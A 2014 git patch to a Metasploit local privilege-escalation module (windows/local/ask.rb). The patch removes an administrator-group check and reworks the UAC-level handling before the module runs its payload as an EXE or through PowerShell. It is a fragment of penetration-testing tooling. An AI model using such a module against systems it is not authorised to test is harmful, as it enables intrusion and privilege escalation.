From 04506d76f3f3efd7abe4c00819fd660d24c50990 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 22 Mar 2014 17:57:27 +0000 Subject: [PATCH] Dont check for admin --- modules/exploits/windows/local/ask.rb | 46 +++++++-------------------- 1 file changed, 11 insertions(+), 35 deletions(-) diff --git a/modules/exploits/windows/local/ask.rb b/modules/exploits/windows/local/ask.rb index 6f9f79e06d..86f11f7718 100644 --- a/modules/exploits/windows/local/ask.rb +++ b/modules/exploits/windows/local/ask.rb @@ -45,53 +45,29 @@ class Metasploit3 < Msf::Exploit::Local end - def check - session.readline - print_status('Checking admin status...') - admin_group = is_in_admin_group? - if admin_group.nil? - print_error('Either whoami is not there or failed to execute') - print_error('Continuing under assumption you already checked...') - return Exploit::CheckCode::Unknown - else - if admin_group - print_good('Part of Administrators group! Continuing...') - return Exploit::CheckCode::Vulnerable - else - print_error("Not in admins group, cannot escalate with this module") - return Exploit::CheckCode::Safe - end - end - end - def exploit - admin_check = check - if admin_check.join =~ /safe/ - fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") - end + if is_uac_enabled? print_status "UAC is Enabled, checking level..." - else - if is_in_admin_group? - fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...") - else - fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") - end - end - case get_uac_level + case get_uac_level when UAC_NO_PROMPT print_good "UAC is not enabled, no prompt for the user" else print_status "The user will be prompted, wait for them to click 'Ok'" + end + else + print_good "UAC is not enabled, no prompt for the user" end + # # Generate payload and random names for upload # case datastore["TECHNIQUE"] - when "EXE" - execute_exe(datastore["FILENAME"],datastore["PATH"],datastore["UPLOAD"]) - when "PSH" - execute_psh + when "EXE" + execute_exe(datastore["FILENAME"],datastore["PATH"],datastore["UPLOAD"]) + when "PSH" + execute_psh end end end +